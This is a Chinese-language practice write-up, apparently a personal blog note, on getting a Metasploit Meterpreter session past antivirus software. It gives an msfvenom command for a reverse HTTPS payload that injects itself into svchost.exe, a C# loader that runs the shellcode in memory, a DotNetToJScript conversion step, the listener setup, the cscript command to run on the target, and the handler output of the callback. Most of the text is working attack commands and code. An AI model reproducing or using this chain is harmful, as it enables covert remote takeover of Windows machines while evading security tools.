MSF 是当下最流行的渗透测试平台,在进行后渗透阶段往往需要我们绕过杀软等隐蔽操作,在看完余弦猥琐流打发之后,自个手动实践,然后写一个详细的演练操作,做笔记存档。
0x00 制作payload
使用 kali 里的 msfvenom 生成一个x86的 Meterpreter Payload 命令如下:
root@kali:~# msfvenom -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.99 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe
大部分参数都不用过多解释了,常用 MSF 的人都知道。需要说明的是,我们要借助于 C# 来执行生成的 Payload,所以格式要选择为 csharp,而最后两个参数(PrependMigrate 和 PrependMigrateProc)是指明 Payload 执行后要将自己注入到一个新创建的宿主 svchost.exe 进程中去。
生成结果 cat https.csharp
如图所示,
0x01 创建 c# 项目
我们需要创建一个 C# 项目,我使用的是 Visual Studio 2017。新建一个空白的 C# 的控制台应用(.NET Framework)工程,.Net Framework 版本选择 2.0(保证兼容性)。
将下列代码粘贴覆盖到 Program.cs 中:
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
//Paste your Payload here
};
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
然后将在 kali 生成的 payload 中的十六进制数数组粘贴到代码中注释为“//Paste your Payload here”的下面。
保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”并保存,如图:
增加 Release 版的 x86 编译对象,如图:
然后生成出 MSFWrapper.exe :
0x02 将生成的 exe 文件转换成 js 文件
转换命令:
F:\WEB渗透工具>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program MSFWrapper.exe
0x03 通过命令执行 js 文件使其弹回 Meterpreter shell
在 kali 里执行命令进行监听:
root@kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 192.168.1.99
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
在目标机器执行如下命令:
C:\windows\SysWOW64\cscript.exe /e:JScript MSFWrapper.js
kali 反弹回 meterpreter :
[*] Started HTTPS reverse handler on https://192.168.1.99:443
[*] https://192.168.1.99:443 handling request from 192.168.1.84; (UUID: flnzcixx) Staging x86 payload (180825 bytes) ...
这里一定要注意,因为我们生成的 Payload 跟 exe 都是 32 位的,所以这里也要用 32 的 cscript.exe 去执行。切记!
0x04 END
未完待续 ing……